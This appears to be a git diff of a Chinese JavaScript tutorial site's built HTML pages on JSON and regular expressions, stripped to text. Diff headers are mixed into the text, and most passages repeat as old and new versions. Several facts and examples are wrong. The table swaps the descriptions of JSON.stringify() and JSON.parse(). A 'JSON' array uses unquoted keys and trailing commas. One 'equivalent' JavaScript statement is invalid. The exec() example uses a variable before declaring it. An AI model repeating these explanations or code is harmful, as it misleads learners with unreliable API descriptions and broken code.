                                                                                                                            "school": {
                                                                                                                            "name": "Merrimack College",
                                                                                                                            "location": "North Andover, MA"
                                                                                                                            }
                                                                                                                            }

                                                                                                                            注意:同一对象中绝对不应该出现两个同名属性。

                                                                                                                            JSON 数组

                                                                                                                            JSON 数组采用的就是 JavaScript 中的数组字面量形式。

                                                                                                                            let values = [25, 'hi', true];

                                                                                                                            JSON 数组也没有变量和分号。把数组和对象结合起来,可以构成更复杂的数据集合。

                                                                                                                            [
                                                                                                                            {
                                                                                                                            title: 'Professional JavaScript',
                                                                                                                            authors: ['Nicholas C. Zakas'],
                                                                                                                            edition: 3,
                                                                                                                            year: 2011,
                                                                                                                            },
                                                                                                                            {
                                                                                                                            title: 'Professional JavaScript',
                                                                                                                            authors: ['Nicholas C. Zakas'],
                                                                                                                            edition: 3,
                                                                                                                            year: 2009,
                                                                                                                            },
                                                                                                                            {
                                                                                                                            title: 'Professional JavaScript',
                                                                                                                            authors: ['Nicholas C. Zakas'],
                                                                                                                            edition: 3,
                                                                                                                            year: 2008,
                                                                                                                            },
                                                                                                                            ];

                                                                                                                            方法

                                                                                                                            方法描述
                                                                                                                            JSON.stringify()用来解析 JSON 字符串,构造由字符串描述的 JavaScript 值或对象。提供可选的 reviver 函数用以在返回之前对所得到的对象进行变换(操作)。
                                                                                                                            JSON.parse()将一个 JavaScript 值(对象或者数组)转换为一个 JSON 字符串,如果指定了 replace 是一个函数,则可以替换值,或者如果指定了 replacer 是一个数组,可选的仅包括指定的属性。

                                                                                                                            JSON 文件

                                                                                                                            JSON 文件的文件类型是 .json

                                                                                                                            JSON 文本的 MIME 类型是 application/json

                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            JSON

                                                                                                                            JSON 英文全称 JavaScript Object Notation(JavaScript 对象表示法)是一种轻量级的用于存储和交换文本信息的语法,被设计用于可读的数据交换。

                                                                                                                            JSON 是从 JavaScript 脚本语言中演变而来,使用 JavaScript 语法来描述数据对象,文件名扩展是 .json,但是 JSON 格式仅仅是一个文本,仍然独立于语言和平台。JSON 解析器和 JSON 库支持许多不同的编程语言。目前非常多的动态(PHP、JSP、.NET)编程语言都支持 JSON。

                                                                                                                            JSON 格式可以用于通过网络连接序列化和传输结构化数据,用于编写基于 JavaScript 应用程序,包括浏览器扩展和网站。JSON 主要用于在服务器和 Web 应用程序之间传输数据,Web 服务和 APIs 可以使用 JSON 格式提供公用数据,还可以用于现代编程语言中。

                                                                                                                            语法

                                                                                                                            JSON 语法是 JavaScript 对象语法的子集。

                                                                                                                            • 数据使用名称/值对表示
                                                                                                                            • 数据由逗号分隔
                                                                                                                            • 使用花括号保存对象,每个名称后面跟着冒号,名值对使用逗号分隔
                                                                                                                            • 使用方括号保存数组,数组值用逗号分隔
                                                                                                                            {
                                                                                                                            "book": [
                                                                                                                            {
                                                                                                                            "id":1562366,
                                                                                                                            "price": 21.5,
                                                                                                                            "isPromotion": true,
                                                                                                                            "language": "Java",
                                                                                                                            "edition": "third",
                                                                                                                            "author": "Herbert Schildt",
                                                                                                                            },
                                                                                                                            {
                                                                                                                            "id":"07",
                                                                                                                            "language": "C++",
                                                                                                                            "edition": "second",
                                                                                                                            "author": "E.Balagurusamy"
                                                                                                                            }
                                                                                                                            ]
                                                                                                                            }

                                                                                                                            JSON 键值对

                                                                                                                            JSON 数据的书写格式是:键/值对

                                                                                                                            名称/值对包括字段名称(在双引号中),后面写一个冒号,然后是值:

                                                                                                                            { "firstName":"John", "lastName":"Doe" }

                                                                                                                            等价于这条 JavaScript 语句:

                                                                                                                            { firstName = "John", lastName = "Doe"}

                                                                                                                            JSON 值允许的 JavaScript 类型:

                                                                                                                            • 数字(整数或浮点数)
                                                                                                                            • 字符串(在双引号中)
                                                                                                                            • 逻辑值(truefalse
                                                                                                                            • 数组(在方括号中)
                                                                                                                            • 对象(在花括号中)
                                                                                                                            • null

                                                                                                                            注意:JSON 不支持 JavaScript 中的特殊值 undefined

                                                                                                                            JSON 对象

                                                                                                                            JSON 字面量

                                                                                                                            let person = {
                                                                                                                            name: 'xianyu',
                                                                                                                            age: 24,
                                                                                                                            love: 'Online Game',
                                                                                                                            };

                                                                                                                            从上我们可以看出这就是用字面量表示的一个对象,而这个格式就是 JSON 格式的,因为本身 JSON 就是 JavaScript 语法集的一种,所以 JSON 字面量就是用 JSON 格式的 JavaScript 对象字面量。

                                                                                                                            与 JavaScript 对象的差异

                                                                                                                            • JSON 中没有变量的概念(不用声明变量)
                                                                                                                            • JSON 没有末尾的的分号(因为不是 JavaScript 语句,所以不需要分号)
                                                                                                                            • JSON 对象的属性必须加双引号
                                                                                                                            // JavaScript
                                                                                                                            let person = {
                                                                                                                            "name": "Nicholas",
                                                                                                                            "age": 29
                                                                                                                            }
                                                                                                                            +
                                                                                                                            // JSON
                                                                                                                            {
                                                                                                                            "name": "Nicholas",
                                                                                                                            "age": 29
                                                                                                                            }
                                                                                                                            • JSON 属性的值可以是简单值,也可以是复杂类型值(因此可以像下面这样在对象中嵌入对象)。
                                                                                                                            {
                                                                                                                            "name": "Nicolas",
                                                                                                                            "age": 29,
                                                                                                                            "school": {
                                                                                                                            "name": "Merrimack College",
                                                                                                                            "location": "North Andover, MA"
                                                                                                                            }
                                                                                                                            }

                                                                                                                            注意:同一对象中绝对不应该出现两个同名属性。

                                                                                                                            JSON 数组

                                                                                                                            JSON 数组采用的就是 JavaScript 中的数组字面量形式。

                                                                                                                            let values = [25, 'hi', true];

                                                                                                                            JSON 数组也没有变量和分号。把数组和对象结合起来,可以构成更复杂的数据集合。

                                                                                                                            [
                                                                                                                            {
                                                                                                                            title: 'Professional JavaScript',
                                                                                                                            authors: ['Nicholas C. Zakas'],
                                                                                                                            edition: 3,
                                                                                                                            year: 2011,
                                                                                                                            },
                                                                                                                            {
                                                                                                                            title: 'Professional JavaScript',
                                                                                                                            authors: ['Nicholas C. Zakas'],
                                                                                                                            edition: 3,
                                                                                                                            year: 2009,
                                                                                                                            },
                                                                                                                            {
                                                                                                                            title: 'Professional JavaScript',
                                                                                                                            authors: ['Nicholas C. Zakas'],
                                                                                                                            edition: 3,
                                                                                                                            year: 2008,
                                                                                                                            },
                                                                                                                            ];

                                                                                                                            方法

                                                                                                                            方法描述
                                                                                                                            JSON.stringify()用来解析 JSON 字符串,构造由字符串描述的 JavaScript 值或对象。提供可选的 reviver 函数用以在返回之前对所得到的对象进行变换(操作)。
                                                                                                                            JSON.parse()将一个 JavaScript 值(对象或者数组)转换为一个 JSON 字符串,如果指定了 replace 是一个函数,则可以替换值,或者如果指定了 replacer 是一个数组,可选的仅包括指定的属性。

                                                                                                                            JSON 文件

                                                                                                                            JSON 文件的文件类型是 .json

                                                                                                                            JSON 文本的 MIME 类型是 application/json

                                                                                                                            - + diff --git a/standard-built-in-objects/text-processing/regexp/exec/index.html b/standard-built-in-objects/text-processing/regexp/exec/index.html index 91e370dd9..e4b13eccb 100644 --- a/standard-built-in-objects/text-processing/regexp/exec/index.html +++ b/standard-built-in-objects/text-processing/regexp/exec/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + RegExp.prototype.exec - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            RegExp.prototype.exec()

                                                                                                                            RegExp.prototype.exec() 方法专门为捕获组而设计,该方法在一个指定字符串中执行一个搜索匹配。然后返回包含匹配项信息的数组,在没有匹配项的情况下返回 null

                                                                                                                            语法  

                                                                                                                            RegExp.prototype.exec(str);

                                                                                                                            参数

                                                                                                                            参数描述类型
                                                                                                                            regExpObject匹配的正则表达式。regexp
                                                                                                                            str指定的字符串。将在该字符串中执行搜索。string

                                                                                                                            返回值

                                                                                                                            • 如果匹配成功,exec() 方法返回一个数组,并更新正则表达式对象的属性。返回的数组将完全匹配成功的文本作为第一项,将正则括号里匹配成功的作为数组填充到后面。
                                                                                                                            • 如果匹配失败,exec() 方法返回 null

                                                                                                                            返回的数组包含两个额外的属性。

                                                                                                                            属性描述
                                                                                                                            index表示匹配项在字符串的位置
                                                                                                                            input表示应用正则表达式的字符串

                                                                                                                            exec() 方法的返回值为 Array 类型,如果找到了对应的匹配,则返回数组的成员如下:

                                                                                                                            • 索引 0:存放第一个匹配的子字符串
                                                                                                                            • 属性 index:匹配文本在字符串中的起始索引位置
                                                                                                                            • 属性 input:整个字符串对象(stringObject

                                                                                                                            在 IE 6 ~ IE 8 中,该数组还具有额外的 lastIndex 属性,用于存储字符串中匹配文本最后一个字符的下一个位置。

                                                                                                                            示例

                                                                                                                            // Match "quick brown" followed by "jumps", ignoring characters in between
                                                                                                                            // Remember "brown" and "jumps"
                                                                                                                            // Ignore case
                                                                                                                            let result = regexp.exec('The Quick Brown Fox Jumps Over The Lazy Dog');
                                                                                                                            let regexp = /quick\s(brown).+?(jumps)/gi;

                                                                                                                            下表列出这个脚本的返回值:

                                                                                                                            对象 Result

                                                                                                                            属性/索引描述例子
                                                                                                                            [0]匹配的全部字符串'Quick Brown Fox Jumps'
                                                                                                                            [1],...,[n]括号中的分组捕获[1] = Brown [2] = Jumps
                                                                                                                            index匹配到的字符位于原始字符串的基于 0 的索引值4
                                                                                                                            input原始字符串'The Quick Brown Fox Jumps Over The Lazy Dog'

                                                                                                                            对象 RegExp

                                                                                                                            属性/索引描述例子
                                                                                                                            lastIndex下一次匹配开始的位置25
                                                                                                                            ignoreCase是否使用了'i'标记使正则匹配忽略大小写true
                                                                                                                            global是否使用了'g'标记来进行全局的匹配true
                                                                                                                            multiline是否使用了'm'标记使正则工作在多行模式(也就是,^ 和 $ 可以匹配字符串中每一行的开始和结束(行是由 \n 或 \r 分割的),而不只是整个输入字符串的最开始和最末尾处。)false
                                                                                                                            source正则匹配的字符串quick\s(brown).+?(jumps)
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            RegExp.prototype.exec()

                                                                                                                            RegExp.prototype.exec() 方法专门为捕获组而设计,该方法在一个指定字符串中执行一个搜索匹配。然后返回包含匹配项信息的数组,在没有匹配项的情况下返回 null

                                                                                                                            语法  

                                                                                                                            RegExp.prototype.exec(str);

                                                                                                                            参数

                                                                                                                            参数描述类型
                                                                                                                            regExpObject匹配的正则表达式。regexp
                                                                                                                            str指定的字符串。将在该字符串中执行搜索。string

                                                                                                                            返回值

                                                                                                                            • 如果匹配成功,exec() 方法返回一个数组,并更新正则表达式对象的属性。返回的数组将完全匹配成功的文本作为第一项,将正则括号里匹配成功的作为数组填充到后面。
                                                                                                                            • 如果匹配失败,exec() 方法返回 null

                                                                                                                            返回的数组包含两个额外的属性。

                                                                                                                            属性描述
                                                                                                                            index表示匹配项在字符串的位置
                                                                                                                            input表示应用正则表达式的字符串

                                                                                                                            exec() 方法的返回值为 Array 类型,如果找到了对应的匹配,则返回数组的成员如下:

                                                                                                                            • 索引 0:存放第一个匹配的子字符串
                                                                                                                            • 属性 index:匹配文本在字符串中的起始索引位置
                                                                                                                            • 属性 input:整个字符串对象(stringObject

                                                                                                                            在 IE 6 ~ IE 8 中,该数组还具有额外的 lastIndex 属性,用于存储字符串中匹配文本最后一个字符的下一个位置。

                                                                                                                            示例

                                                                                                                            // Match "quick brown" followed by "jumps", ignoring characters in between
                                                                                                                            // Remember "brown" and "jumps"
                                                                                                                            // Ignore case
                                                                                                                            let result = regexp.exec('The Quick Brown Fox Jumps Over The Lazy Dog');
                                                                                                                            let regexp = /quick\s(brown).+?(jumps)/gi;

                                                                                                                            下表列出这个脚本的返回值:

                                                                                                                            对象 Result

                                                                                                                            属性/索引描述例子
                                                                                                                            [0]匹配的全部字符串'Quick Brown Fox Jumps'
                                                                                                                            [1],...,[n]括号中的分组捕获[1] = Brown [2] = Jumps
                                                                                                                            index匹配到的字符位于原始字符串的基于 0 的索引值4
                                                                                                                            input原始字符串'The Quick Brown Fox Jumps Over The Lazy Dog'

                                                                                                                            对象 RegExp

                                                                                                                            属性/索引描述例子
                                                                                                                            lastIndex下一次匹配开始的位置25
                                                                                                                            ignoreCase是否使用了'i'标记使正则匹配忽略大小写true
                                                                                                                            global是否使用了'g'标记来进行全局的匹配true
                                                                                                                            multiline是否使用了'm'标记使正则工作在多行模式(也就是,^ 和 $ 可以匹配字符串中每一行的开始和结束(行是由 \n 或 \r 分割的),而不只是整个输入字符串的最开始和最末尾处。)false
                                                                                                                            source正则匹配的字符串quick\s(brown).+?(jumps)
                                                                                                                            - + diff --git a/standard-built-in-objects/text-processing/regexp/index.html b/standard-built-in-objects/text-processing/regexp/index.html index b462dc392..e51fbe9ac 100644 --- a/standard-built-in-objects/text-processing/regexp/index.html +++ b/standard-built-in-objects/text-processing/regexp/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            - + diff --git a/standard-built-in-objects/text-processing/regexp/regexp-rule/index.html b/standard-built-in-objects/text-processing/regexp/regexp-rule/index.html index 32e69de91..18d6c2a74 100644 --- a/standard-built-in-objects/text-processing/regexp/regexp-rule/index.html +++ b/standard-built-in-objects/text-processing/regexp/regexp-rule/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + RegExp 语法 - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            RegExp 语法

                                                                                                                            元字符

                                                                                                                            元字符(Meta-Character) 指那些在正则表达式中具有特殊意义的专用字符,可以用来规定其前导字符(即位于元字符前面的字符)在目标对象中的出现模式。

                                                                                                                            元字符名称匹配对象
                                                                                                                            .点号单个任意字符(除回车 \r、换行 \n、行分隔符 \u2028 和段分隔符 \u2029 外)
                                                                                                                            []字符组列出的单个任意字符
                                                                                                                            [^]排除型字符组未列出的单个任意字符
                                                                                                                            ?问号匹配 0 次或 1 次
                                                                                                                            *星号匹配 0 次或多次
                                                                                                                            +加号匹配 1 次或多次
                                                                                                                            {min,max}区间量词匹配至少 min 次,最多 max 次
                                                                                                                            ^脱字符行的起始位置
                                                                                                                            $美元符行的结束位置
                                                                                                                            ``竖线
                                                                                                                            ()括号限制多选结构的范围,标注量词作用的元素,为反向引用捕获文本
                                                                                                                            \1,\2...反向引用匹配之前的第一、第二...组括号内的表达式匹配的文本

                                                                                                                            字符类别

                                                                                                                            字符组简记

                                                                                                                            [0-9][a-z] 等字符组,可以很方便地表示数字字符和小写字母字符。对于这类常用字符组,正则表达式提供了更简单的记法,这就是字符组简记(Shorthands)

                                                                                                                            常见的字符组简记有 \d\w\s,其中:

                                                                                                                            • d 表示(Digit)数字
                                                                                                                            • w 表示(Word)单词
                                                                                                                            • s 表示(Space)空白

                                                                                                                            正则表达式也提供了对应排除型字符组的简记法:\D\W\S。字母完全相同,只是改为大写,这些简记法匹配的字符互补。

                                                                                                                            字符描述
                                                                                                                            \d数字,等同于 [0-9]
                                                                                                                            \D非数字,等同于 [^0-9]
                                                                                                                            \s空白字符,等同于 [\f\n\r\t\u000B\u0020\u00A0\u2028\u2029]
                                                                                                                            \S非空白字符,等同于 [^\f\n\r\t\u000B\u0020\u00A0\u2028\u2029]
                                                                                                                            \w字母、数字、下划线,等同于 [0-9A-Za-z_]
                                                                                                                            \W非字母、数字、下划线,等同于 [^0-9A-Za-z_]

                                                                                                                            任意字符

                                                                                                                            字符描述
                                                                                                                            .表示除回车 (\r)、换行 (\n)、行分隔符 (\u2028) 和段分隔符 (\u2029) 以外的任意字符。

                                                                                                                            ⚠️ 注意:一般认为点号可以代表任意字符,其实并不是

                                                                                                                            妥善的利用互补属性,可以得到一些巧妙的效果。比如,[\s\S][\w\W][\d\D] 都可以表示任意字符。

                                                                                                                            匹配任意字符

                                                                                                                            /./.test('\r');
                                                                                                                            // false
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            RegExp 语法

                                                                                                                            元字符

                                                                                                                            元字符(Meta-Character) 指那些在正则表达式中具有特殊意义的专用字符,可以用来规定其前导字符(即位于元字符前面的字符)在目标对象中的出现模式。

                                                                                                                            元字符名称匹配对象
                                                                                                                            .点号单个任意字符(除回车 \r、换行 \n、行分隔符 \u2028 和段分隔符 \u2029 外)
                                                                                                                            []字符组列出的单个任意字符
                                                                                                                            [^]排除型字符组未列出的单个任意字符
                                                                                                                            ?问号匹配 0 次或 1 次
                                                                                                                            *星号匹配 0 次或多次
                                                                                                                            +加号匹配 1 次或多次
                                                                                                                            {min,max}区间量词匹配至少 min 次,最多 max 次
                                                                                                                            ^脱字符行的起始位置
                                                                                                                            $美元符行的结束位置
                                                                                                                            ``竖线
                                                                                                                            ()括号限制多选结构的范围,标注量词作用的元素,为反向引用捕获文本
                                                                                                                            \1,\2...反向引用匹配之前的第一、第二...组括号内的表达式匹配的文本

                                                                                                                            字符类别

                                                                                                                            字符组简记

                                                                                                                            [0-9][a-z] 等字符组,可以很方便地表示数字字符和小写字母字符。对于这类常用字符组,正则表达式提供了更简单的记法,这就是字符组简记(Shorthands)

                                                                                                                            常见的字符组简记有 \d\w\s,其中:

                                                                                                                            • d 表示(Digit)数字
                                                                                                                            • w 表示(Word)单词
                                                                                                                            • s 表示(Space)空白

                                                                                                                            正则表达式也提供了对应排除型字符组的简记法:\D\W\S。字母完全相同,只是改为大写,这些简记法匹配的字符互补。

                                                                                                                            字符描述
                                                                                                                            \d数字,等同于 [0-9]
                                                                                                                            \D非数字,等同于 [^0-9]
                                                                                                                            \s空白字符,等同于 [\f\n\r\t\u000B\u0020\u00A0\u2028\u2029]
                                                                                                                            \S非空白字符,等同于 [^\f\n\r\t\u000B\u0020\u00A0\u2028\u2029]
                                                                                                                            \w字母、数字、下划线,等同于 [0-9A-Za-z_]
                                                                                                                            \W非字母、数字、下划线,等同于 [^0-9A-Za-z_]

                                                                                                                            任意字符

                                                                                                                            字符描述
                                                                                                                            .表示除回车 (\r)、换行 (\n)、行分隔符 (\u2028) 和段分隔符 (\u2029) 以外的任意字符。

                                                                                                                            ⚠️ 注意:一般认为点号可以代表任意字符,其实并不是

                                                                                                                            妥善的利用互补属性,可以得到一些巧妙的效果。比如,[\s\S][\w\W][\d\D] 都可以表示任意字符。

                                                                                                                            匹配任意字符

                                                                                                                            /./.test('\r');
                                                                                                                            // false
                                                                                                                            /[\s\S]/.test('\r');
                                                                                                                            // true

                                                                                                                            转义字符

                                                                                                                            转义字符(Escape) 表示为反斜线 \ 加字符的形式,共有以下 3 种情况。

                                                                                                                            字符描述
                                                                                                                            \ + 元字符匹配元字符
                                                                                                                            \ + ]\ + }右方括号和右花括号无需转义
                                                                                                                            \ + 非元字符表示一些不能打印的特殊字符
                                                                                                                            \ + 除上述其他字符默认情况匹配此字符

                                                                                                                            因为元字符有特殊的含义,所以无法直接匹配。如果要匹配它们本身,则需要在它们前面加上反斜杠 \

                                                                                                                            /1+1/.test('1+1');
                                                                                                                            // false
                                                                                                                            /1\+1/.test('1+1');
                                                                                                                            // true
                                                                                                                            /\*/.test('*');
                                                                                                                            // true
                                                                                                                            @@ -117,12 +120,12 @@
                                                                                                                            /^b/m.test('a\nb');
                                                                                                                            // true

                                                                                                                            全局模式

                                                                                                                            默认地,第一次匹配成功后,正则对象就停止向下匹配了。g 修饰符表示 全局匹配(global),设置 g 标志后,正则对象将匹配全部符合条件的结果,主要用于搜索和替换。

                                                                                                                            '1a,2a,3a'.replace(/a/, 'b');
                                                                                                                            // '1b,2a,3a'
                                                                                                                            '1a,2a,3a'.replace(/a/g, 'b');
                                                                                                                            // '1b,2b,3b'

                                                                                                                            优先级

                                                                                                                            下表为正则表达式符号优先级排序,从上到下,优先级逐渐降低(优先级数值越大,优先级越高)。

                                                                                                                            符号符号名称优先级
                                                                                                                            \转义符5
                                                                                                                            () (?!) (?=) []括号、字符集、环视4
                                                                                                                            * + ? {n} {n,} {n,m}量词3
                                                                                                                            ^ $起始结束位置2
                                                                                                                            |选择1

                                                                                                                            由于括号的用途之一就是为量词限定作用范围,所以优先级比量词高。

                                                                                                                            /ab{2}/.test('abab');
                                                                                                                            // false
                                                                                                                            /(ab){2}/.test('abab');
                                                                                                                            // true

                                                                                                                            选择符 | 的优先级最低,比起始和结束位置都要低。

                                                                                                                            /^ab|cd$/.test('abc');
                                                                                                                            // true
                                                                                                                            -
                                                                                                                            /^(ab|cd)$/.test('abc');
                                                                                                                            // false

                                                                                                                            局限性

                                                                                                                            尽管 JavaScript 中的正则表达式功能比较完备,但与其他语言相比,缺少某些特性

                                                                                                                            下面列出了 JavaScript 正则表达式不支持的特性

                                                                                                                            • POSIX 字符组(只支持普通字符组和排除型字符组)
                                                                                                                            • Unicode 支持(只支持单个 Unicode 字符)
                                                                                                                            • 匹配字符串开始和结尾的 \A\Z 锚(只支持 ^$
                                                                                                                            • 逆序环视(只支持顺序环视)
                                                                                                                            • 命名分组(只支持 0-9 编号的捕获组)
                                                                                                                            • 单行模式和注释模式(只支持 mig
                                                                                                                            • 模式作用范围
                                                                                                                            • 纯文本模式

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            /^(ab|cd)$/.test('abc');
                                                                                                                            // false

                                                                                                                            局限性

                                                                                                                            尽管 JavaScript 中的正则表达式功能比较完备,但与其他语言相比,缺少某些特性

                                                                                                                            下面列出了 JavaScript 正则表达式不支持的特性

                                                                                                                            • POSIX 字符组(只支持普通字符组和排除型字符组)
                                                                                                                            • Unicode 支持(只支持单个 Unicode 字符)
                                                                                                                            • 匹配字符串开始和结尾的 \A\Z 锚(只支持 ^$
                                                                                                                            • 逆序环视(只支持顺序环视)
                                                                                                                            • 命名分组(只支持 0-9 编号的捕获组)
                                                                                                                            • 单行模式和注释模式(只支持 mig
                                                                                                                            • 模式作用范围
                                                                                                                            • 纯文本模式

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/text-processing/regexp/regexp/index.html b/standard-built-in-objects/text-processing/regexp/regexp/index.html index 403c960f4..7d7bd2790 100644 --- a/standard-built-in-objects/text-processing/regexp/regexp/index.html +++ b/standard-built-in-objects/text-processing/regexp/regexp/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + RegExp - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            RegExp 对象

                                                                                                                            正则表达式(Regular Expression)使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。在许多文本编辑器里,正则表达式通常被用来检索、替换那些匹配某个模式的文本。

                                                                                                                            RegExp 构造函数创建一个正则表达式对象,用于将文本与一个模式匹配。

                                                                                                                            语法

                                                                                                                            字面量

                                                                                                                            • 字面量正则文本部分包含在一对斜杠 / 之间
                                                                                                                            • 字面量参数不使用引号
                                                                                                                            /pattern/afgls;

                                                                                                                            正则表达式转换函数

                                                                                                                            RegExp(pattern [, flags])

                                                                                                                            构造函数

                                                                                                                            • 要匹配的字符串模式(pattern)
                                                                                                                            • 可选的标志字符串(flags)
                                                                                                                            new RegExp('at', 'gim');

                                                                                                                            RegExp 构造函数的两个参数都是字符串。且使用字面量形式定义的任何表达式都可使用构造函数。

                                                                                                                            // 匹配字符串所有'at'的实例
                                                                                                                            var regexp1 = /at/g;
                                                                                                                            // 同上
                                                                                                                            var regexp2 = new RegExp('at', 'g');

                                                                                                                            JavaScript 中的正则表达式 RegExp 由两部分(参数)组成:pattern(文本部分) 和 flags(匹配模式部分)。

                                                                                                                            文本规则

                                                                                                                            规则详情请参考 正则表达式文本规则。

                                                                                                                            匹配模式

                                                                                                                            正则表达式的匹配模式支持下列 3 个标识:

                                                                                                                            标识模式描述
                                                                                                                            g全局(global)模式即模式将被应用于所有字符串,而非在发现第一个匹配项时立即停止
                                                                                                                            i忽略大小写(case-insensitive)模式即在确定匹配项时忽略模式与字符串的大小写
                                                                                                                            m多行(multiline)模式即在到达一行文本末尾时还会继续查找下一行中是否存在与模式匹配的项

                                                                                                                            描述

                                                                                                                            • ECMAScript3 规范规定,一个正则表达式直接量会在执行到它时转换为一个 RegExp 对象,同一段代码所表示正则表达式直接量的每次运算都返回同一个对象。ECMAScript5 规范则做了相反的规定,同一段代码所表示的正则表达式直接量的每次运算都返回新对象。IE6-8 一直是按照 ECMAScript5 规范的方式实现的,所以并没有兼容性问题。
                                                                                                                            • 由于正则表达式字面量并不支持变量,所以如果正则表达式中出现变量只能使用 RegExp 构造函数以字符串拼接的形式,将变量拼接到 RegExp 构造函数的参数中。
                                                                                                                            // example
                                                                                                                            let variable = 'low';
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            RegExp 对象

                                                                                                                            正则表达式(Regular Expression)使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。在许多文本编辑器里,正则表达式通常被用来检索、替换那些匹配某个模式的文本。

                                                                                                                            RegExp 构造函数创建一个正则表达式对象,用于将文本与一个模式匹配。

                                                                                                                            语法

                                                                                                                            字面量

                                                                                                                            • 字面量正则文本部分包含在一对斜杠 / 之间
                                                                                                                            • 字面量参数不使用引号
                                                                                                                            /pattern/afgls;

                                                                                                                            正则表达式转换函数

                                                                                                                            RegExp(pattern [, flags])

                                                                                                                            构造函数

                                                                                                                            • 要匹配的字符串模式(pattern)
                                                                                                                            • 可选的标志字符串(flags)
                                                                                                                            new RegExp('at', 'gim');

                                                                                                                            RegExp 构造函数的两个参数都是字符串。且使用字面量形式定义的任何表达式都可使用构造函数。

                                                                                                                            // 匹配字符串所有'at'的实例
                                                                                                                            var regexp1 = /at/g;
                                                                                                                            // 同上
                                                                                                                            var regexp2 = new RegExp('at', 'g');

                                                                                                                            JavaScript 中的正则表达式 RegExp 由两部分(参数)组成:pattern(文本部分) 和 flags(匹配模式部分)。

                                                                                                                            文本规则

                                                                                                                            规则详情请参考 正则表达式文本规则。

                                                                                                                            匹配模式

                                                                                                                            正则表达式的匹配模式支持下列 3 个标识:

                                                                                                                            标识模式描述
                                                                                                                            g全局(global)模式即模式将被应用于所有字符串,而非在发现第一个匹配项时立即停止
                                                                                                                            i忽略大小写(case-insensitive)模式即在确定匹配项时忽略模式与字符串的大小写
                                                                                                                            m多行(multiline)模式即在到达一行文本末尾时还会继续查找下一行中是否存在与模式匹配的项

                                                                                                                            描述

                                                                                                                            • ECMAScript3 规范规定,一个正则表达式直接量会在执行到它时转换为一个 RegExp 对象,同一段代码所表示正则表达式直接量的每次运算都返回同一个对象。ECMAScript5 规范则做了相反的规定,同一段代码所表示的正则表达式直接量的每次运算都返回新对象。IE6-8 一直是按照 ECMAScript5 规范的方式实现的,所以并没有兼容性问题。
                                                                                                                            • 由于正则表达式字面量并不支持变量,所以如果正则表达式中出现变量只能使用 RegExp 构造函数以字符串拼接的形式,将变量拼接到 RegExp 构造函数的参数中。
                                                                                                                            // example
                                                                                                                            let variable = 'low';
                                                                                                                            let regexp = new RegExp('^Hel' + variable + 'orld$', 'gim');
                                                                                                                            console.log(regexp); // /^Helloworld$/gim
                                                                                                                            • 从 ECMAScript 6 开始,当第一个参数为正则表达式而第二个标志参数存在时,new RegExp(/ab+c/, 'i') 不再抛出 TypeError (“当从其他正则表达式进行构造时不支持标志”)的异常,取而代之,将使用这些参数创建一个新的正则表达式。
                                                                                                                            • 当使用构造函数创造正则对象时,需要常规的字符转义规则(在前面加反斜杠 \)。比如,以下是等价的:
                                                                                                                            // example1
                                                                                                                            let regexp = new RegExp('\\w+');
                                                                                                                            // example2
                                                                                                                            let regexp = /\w+/;

                                                                                                                            原型对象

                                                                                                                            原型属性

                                                                                                                            每个 RegExp 实例对象都包含如下 5 个属性。

                                                                                                                            属性描述
                                                                                                                            RegExp.prototype.constructor创建该正则对象的构造函数
                                                                                                                            RegExp.prototype.global是否开启全局匹配,也就是匹配目标字符串中所有可能的匹配项,而不是只进行第一次匹配。
                                                                                                                            RegExp.prototype.ignoreCase在匹配字符串时是否要忽略字符的大小写。
                                                                                                                            RegExp.prototype.lastIndex整数,表示开始搜索后下一个匹配项的字符索引位置,从 0 算起。
                                                                                                                            RegExp.prototype.multiline是否开启多行模式匹配(影响 ^$ 的行为)
                                                                                                                            RegExp.prototype.source正则表达式的字符串表示,按照字面量形式而非传入构造函数中的字符串模式返回
                                                                                                                            // example
                                                                                                                            var regexp = new RegExp('\\[bc\\]at', 'i');
                                                                                                                            // global
                                                                                                                            console.log(regexp.global); // false
                                                                                                                            @@ -37,12 +40,12 @@
                                                                                                                            // lastIndex
                                                                                                                            console.log(regexp.lastIndex); // 0
                                                                                                                            // source
                                                                                                                            console.log(regexp.source); // '\[bc\]at'

                                                                                                                            原型方法

                                                                                                                            方法描述
                                                                                                                            RegExp.prototype.exec()在一个指定字符串中执行一个搜索匹配。返回一个结果数组或 null
                                                                                                                            RegExp.prototype.test()执行一个检索,用来查看正则表达式与指定的字符串是否匹配。返回 truefalse

                                                                                                                            构造函数

                                                                                                                            属性

                                                                                                                            RegExp 构造函数属性被看成静态属性,这些属性基于所执行的最近一次正则表达式操作而变化。

                                                                                                                            有两种方式访问它们,即长属性名短属性名。短属性名大都不是有效的 ECMAScript 标识符,所以必须通过方括号语法来访问它们。

                                                                                                                            长属性名短属性名     说明
                                                                                                                            input$_最近一次要匹配的字符串
                                                                                                                            lastMatch$&最近一次的匹配项
                                                                                                                            lastParen$+最近一次匹配的捕获组
